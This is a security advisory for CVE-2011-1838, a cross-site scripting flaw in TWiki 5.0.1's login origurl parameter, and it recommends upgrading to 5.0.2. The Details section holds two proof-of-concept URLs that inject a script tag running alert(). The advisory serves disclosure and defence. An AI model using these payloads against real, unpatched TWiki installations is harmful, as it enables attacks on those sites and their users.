Information
-----------------------------------
Name :  XSS vulnerability in TWiki
Software :  TWiki 5.0.1 and possibily below.
Vendor Hompeage :  http://twiki.org/
Vulnerability Type :  Cross-Site Scripting
Severity :  High
Researcher :  Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference :  NS-11-005
CVE :  CVE-2011-1838


Description
-----------------------------------
TWiki® is a flexible, powerful, and easy to use enterprise wiki, enterprise
collaboration platform, and web application platform. It is a Structured
Wiki, typically used to run a project development space, a document
management system, a knowledge base, or any other groupware tool, on an
intranet, extranet or the Internet.


Details
-----------------------------------
TWiki is affected by XSS vulnerabilities in version 5.0.1.
Example PoC url is as follows :

http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
http://example.com/bin/login/Main/WebHome?
'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>

You can read the full article about Cross-Site Scripting vulnerabilities
from here : http://www.mavitunasecurity.com/crosssite-scripting-xss/


Solution
-----------------------------------
Upgrade to the latest TWiki version (5.0.2).


Credits
-----------------------------------
It has been discovered on testing of Netsparker, Web Application Security
Scanner - http://www.mavitunasecurity.com/netsparker/.


References
-----------------------------------
Vendor Url : http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838
MSL Advisory Link :
http://www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/
Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
-----------------------------------
Netsparker® can find and report security issues such as SQL Injection and
Cross-site Scripting (XSS) in all web applications regardless of the
platform and the technology they are built on. Netsparker's unique detection
and exploitation techniques allows it to be dead accurate in reporting hence
it's the first and the only False Positive Free web application security
scanner.

-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/